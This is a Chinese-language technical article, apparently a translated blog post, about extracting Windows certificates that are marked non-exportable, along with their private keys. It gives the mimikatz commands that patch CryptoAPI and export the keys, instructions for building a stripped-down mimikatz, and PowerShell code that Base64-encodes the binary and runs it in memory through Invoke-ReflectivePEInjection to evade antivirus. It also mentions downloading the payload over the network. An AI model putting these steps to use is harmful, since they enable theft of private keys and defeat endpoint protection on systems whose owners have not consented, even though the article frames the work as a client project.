使用 Mimikatz和Powersploit 提取 Windows 禁止導出的證書並逃避防護軟體
前段時間,我們的一位客戶與我們聯繫了一個特殊的要求。由於某些原因,他們需要集中收集某些證書,包括分配在許多運行Windows客戶端系統並存儲在相應用戶存儲中的私鑰。不幸的是,特定的私鑰被標記為不可導出,從而在用戶上下文中產生本機導出。如果這還不夠,則提取應該在當前用戶的上下文中執行(即沒有管理許可權),而根本不觸發現有的Anti Virus解決方案。此外,證書需要轉移到某些受信任的系統,而這些系統無法以未經授權的方式訪問。
證書/密鑰提取與Mimikatz
雖然還有其他的調查機會,直接從AD提取DPAPI保護的證書,並嘗試逆向工程加密過程,但我們決定採用mimikatz採取可預測的方法。使用mimikatz,非常簡單的從用戶商店中提取不可導出的證書,包括他們的私鑰。您只需發出以下命令,並將PFX文件導出到mimikatz目錄:
crypto::capi
crypto::certificates /export /store:MY /systemstore:CURRENT_USER
第一個命令修補Windows Crypto API,以便導出不可導出的證書,第二個命令執行導出。
從Mimikatz剝離功能
所以我們可以提取好的證書。但是,mimikatz是一個非常強大的工具,可以做更多的東西,就像提取NTLM哈希值,密碼,票證等等。當然,我們不希望所有這些功能在客戶端系統上都是潛在可用的,特別是當我們想要逃避AV(但是請參閱下面的主題)時。方便的是,mimikatz是開源軟體,所以我們可以建立自己的版本,所有這些功能被剝離。按照構建說明,我們需要設置Visual Studio並導入mimikatz項目。在解決方案資源管理器視圖中,我們可以安全地排除以下目錄及其子目錄中的所有文件,方法是右鍵單擊.c / .h文件並選擇「從項目中排除」:
mimikatz/modules/dpapi
mimikatz/modules/kerberos
mimikatz/modules/sekurlsa
在mimikatz / modules子目錄中,我們可以排除除以下內容之外的所有文件:
kull_m.h
kull_m_crypto.c
kull_m_crypto.h
kull_m_standard.c
kull_m_standard.h
在mimikatz目錄中,我們可以排除以下.c / .h文件之外的所有內容:
crypto
crypto_system
file
kernel
memory
minidump
output
patch
process
registry
registry_structures
service
mimikatz
為了使mimikatz仍然可以建立沒有錯誤,您需要修改mimikatz.h刪除除了以下所有不必要的包括:
#include "globals.h"
#include "modules/kuhl_m_standard.h"
#include "modules/kuhl_m_crypto.h"
#include
#include
另外,mimikatz.c需要通過以下方式進行修改:從const KUHL_M * mimikatz_modules []數組中刪除所有不需要的命令。在這種情況下,它現在看起來像這樣:
const KUHL_M * mimikatz_modules[] = {
&kuhl_m_standard,
&kuhl_m_crypto,
};
此外,我們需要注釋掉排除模塊的所有函數調用。在我們的例子中,這些是以下幾行:
kull_m_asn1_init();
kull_m_asn1_term();
status = kuhl_m_kernel_do(full + 1);
status = kuhl_m_rpc_do(full + 1);
逃避反病毒,使用Powershell
下一個要求是逃避防病毒引擎。正如預期的那樣,我們的修改不足以繞過AV。雖然有複雜的工具來打包和加密二進位程序來逃避AV,但是一些相當簡單的方法可能會做到這一點。通過Base64編碼我們的二進位文件並使用Invoke-ReflectivePEInjection執行它們,我們能夠成功地逃避AV檢測。我們可以將我們的二進位轉換為Powershell中的base64,如下所示:
$file = "
"
$fileBytes = [System.IO.File]::ReadAllBytes($file)
$base64Str = [System.Convert]::ToBase64String($fileBytes)
$base64Str | Out-File -filepath "/out.txt"
然後我們需要創建一個包含我們的base64編碼的二進位文件的Powershell腳本(在這種情況下,將Invoke-ReflectivePEInjection放在同一目錄中):
. .Invoke-ReflectivePEInjection.ps1
$ExeStr = ""
$ExeBytes = [System.Convert]::FromBase64String($ExeStr)
Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs " ..."
如果這還不足以逃避AV,那麼還有更多的可能性可以以更隱秘的方式做到這一點:
2.通過Powershell腳本中的網路下載二進位文件和Invoke-ReflectivePEInjection(以加密格式),並將所有內容直接注入內存
安全收集私鑰
為了從中央伺服器上的每個客戶端系統安全地收集證書,特別是他們的私鑰,會考慮不同的可能性:
2.一個網路可訪問的資料庫,用戶只有INSERT許可權
3.某種形式的混合加密保護傳輸中的密鑰
雖然前兩個選項可以保護私鑰免遭未經授權的訪問,但第三個選項也可以在傳輸時提供對網路上私鑰的保護。因此,我們決定使用強大且唯一的密碼來保護每個證書的私鑰,並使用公鑰加密該密碼,而該公鑰又包含在提取腳本中。最終,每個證書的私有密鑰都通過傳輸中的個人密碼和強密碼進行保護,然後可以通過與用於加密的公鑰相對應的私有密鑰在一些安全和可信系統上進行解密。
※Masscan教程和入門手冊
※Oracle被爆高危漏洞,攻擊者可劫持用戶賬戶
TAG:嘶吼RoarTalk |